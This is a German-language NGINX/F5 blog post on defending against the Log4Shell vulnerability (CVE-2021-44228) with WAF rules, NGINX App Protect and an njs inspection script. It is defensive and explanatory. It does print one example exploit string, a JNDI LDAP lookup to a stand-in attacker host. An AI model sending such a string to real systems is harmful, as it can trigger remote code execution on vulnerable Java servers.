Entschärfung der log4j-Sicherheitslücke (CVE-2021-44228) mit NGINX

Freitag, der 10. Dezember 2021, ist ein Datum, das vielen IT-Leuten auf der ganzen Welt in Erinnerung bleiben wird. Damals wurde eine äußerst kritische Zero-Day -Sicherheitslücke in der äußerst beliebten Protokollierungsbibliothek für Java-Anwendungen, log4j , entdeckt. Für den Exploit wurde schnell der Name „Log4Shell“ geprägt und Unternehmen aller Größenordnungen beeilten sich, Abwehrstrategien zu implementieren. Darauf folgte ein Patch-Marathon, der zum Zeitpunkt des Schreibens dieses Artikels noch immer andauert.

NGINX und F5 haben die Bedrohung analysiert und in diesem Beitrag bieten wir verschiedene Minderungsoptionen, um Ihre Anwendungen geschützt zu halten.

Was ist Log4Shell?

Version 2.15 und früher der log4j-Bibliothek sind anfällig für die in CVE-2021-44228 beschriebene Remote Code Execution-Schwachstelle (RCE). ( Version 2.16 von log4j behebt die Sicherheitslücke.) Der Exploit dieser Sicherheitslücke heißt Log4Shell. Aber worin besteht diese Schwachstelle und warum ist sie so kritisch? Wie im CVE beschrieben, validiert die Apache log4j Java-Bibliothek die Eingaben nicht richtig.

Mit der JNDI-Funktion (Java Naming and Directory Interface) der log4j-Bibliothek und der Java-Laufzeitumgebung können Remote-Lookups durchgeführt werden, um Daten aus externen Quellen – etwa einen Benutzernamen aus LDAP oder eine IP-Adresse aus DNS – zum Einfügen in einen Protokolleintrag abzurufen. Leider können Remote-Angreifer JNDI kapern, um von ihnen geschriebenen Java-Code auszuführen. Das folgende Diagramm veranschaulicht den Angriff.

Um ein anfälliges Ziel auszunutzen, müssen Angreifer den Anwendungscode dazu bringen, einen Protokolleintrag zu schreiben, der eine Zeichenfolge wie ${jndi:ldap://evil.xa/x} enthält. Die interessante Frage ist: Wo muss die Zeichenfolge abgelegt werden, damit sie in einer Protokollnachricht landet? Für viele Anwendungen ist die Protokollierung unabdingbar und zu jeder eingehenden Anfrage werden zahlreiche unterschiedliche Informationen protokolliert, darunter HTTP-Header wie „User-Agent“ und „X-Forwarded-For“ , die URI und der Anfragetext. Es gibt viele Angriffsmethoden, und solange die Zeichenfolge mit log4j protokolliert wird, kann die Anwendung ausgenutzt werden.

Ist NGINX von dieser Sicherheitslücke betroffen?

NEIN. NGINX selbst ist für diesen Exploit nicht anfällig, da es in C geschrieben ist und weder Java noch Java-basierte Bibliotheken verwendet. Die offizielle Antwort auf CVE-2021-44228 für alle F5- und NGINX-Produkte finden Sie im Artikel K19026212 in der AskF5-Knowledge Base.

Wie trägt NGINX zur Eindämmung des Exploits bei?

Wie oben erwähnt, muss ein Angreifer die Exploit-Zeichenfolge irgendwo in der HTTP-Anfrage an die Zielanwendung senden. NGINX bietet mehrere Tools zum Scannen eingehender Anfragen auf Hinweise auf Kompromittierungen (IOCs) und zum Blockieren dieser.

Der effizienteste Weg, böswillige Anfragen zu blockieren, ist der Einsatz einer Web Application Firewall (WAF). Es scannt jede eingehende Anfrage auf Hinweise auf CVE-2021-44228, indem es die Anfragedaten mit einer Reihe vorkompilierter Regeln vergleicht. Allerdings gleicht das Aktualisieren der WAF-Regeln nach einem Zero-Day-Exploit einem Wettrüsten. Sobald WAF-Regeln für einen bestimmten Exploit verfügbar sind, suchen Angreifer nach Techniken und Mustern, mit denen die WAF umgangen werden kann. Halten Sie Ihre WAF-Regeln unbedingt auf dem neuesten Stand.

NGINX ModSecurity WAF

ModSecurity ist eine Open-Source-WAF und auch als kommerzielles Angebot von NGINX erhältlich, das NGINX ModSecurity WAF- Modul für NGINX Plus. Das OWASP ModSecurity Core Rule Set (CRS) enthält eine bestehende Regel (932130), die vor Log4Shell schützen kann. Weitere Informationen zu dieser Lösung und erweitertem Schutz finden Sie im CRS-Blog .

[ Anmerkung des Herausgebers – Der Verkauf von NGINX ModSecurity WAF endete am 1. April 2022 offiziell, und der Lebenszyklus endet mit Wirkung zum 31. März 2024 . Weitere Einzelheiten finden Sie unter „F5 NGINX ModSecurity WAF wird eingestellt“<.htmla> in unserem Blog.]

NGINX App Protect WAF

NGINX App Protect WAF ist eine moderne App-Sicherheitslösung. Basierend auf der fortlaufenden Untersuchung der Bedrohung und bekannter WAF-Umgehungen haben wir den Server Side Code Injection Signature Set mit neuen Regeln aktualisiert, um Log4Shell-Angriffe effektiv zu erkennen. Weitere Einzelheiten finden Sie in der AskF5-Wissensdatenbank .

NGINX JavaScript-Modul

NGINX und NGINX Plus werden häufig als Reverse-Proxy vor vielen Java-basierten Anwendungen eingesetzt. Für Benutzer und Kunden ohne Zugriff auf eine WAF haben wir ein Skript erstellt, das das NGINX JavaScript-Modul (njs) verwendet. Das Skript scannt HTTP-Header, URIs und Anforderungstexte in eingehenden Anforderungen und nutzt dabei bekannte IOC-Zeichenfolgen sowie reguläre Ausdrücke, um Eingabedaten abzugleichen und bösartige Anforderungen zu blockieren.

Das njs-Skript ist auf GitHub verfügbar. Anweisungen zur Installation des NJS-Moduls finden Sie im NGINX Plus Admin Guide .

Zusammenfassung

Die effektivste Lösung für Log4Shell besteht darin, den Anwendungscode mit log4j Version 2.16 oder höher zu patchen, wodurch JDNI deaktiviert wird. Wenn dies nicht sofort möglich ist, kann eine WAF die Bedrohung wirksam abmildern, bis Sie Zeit haben, den Patch anzuwenden. Wenn Sie noch keine WAF haben, können Sie mit unserem njs-Skript einen spezifischen Schutz gegen die Bedrohung implementieren. Nutzen Sie die unten aufgeführten Ressourcen, um mehr zu erfahren und den am besten geeigneten Schutz für Ihre Anwendungen auszuwählen.

Ressourcen

• CVE-2021-44228 – Die offizielle CVE
• Zero-Day-Exploit zielt auf die beliebte Java-Bibliothek Log4j ab – Ein wertvoller Überblick über die Sicherheitslücke
• K19026212: Apache Log4j2 Remote Code Execution-Sicherheitslücke CVE-2021-44228 – Offizielle Antwort von F5
• CRS und Log4j / Log4Shell / CVE-2021-44228 – ModSecurity Core Rule Set-Blog
• NGINX njs Request Inspection für CVE-2021-44228 – NGINX JavaScript-Minderungslösung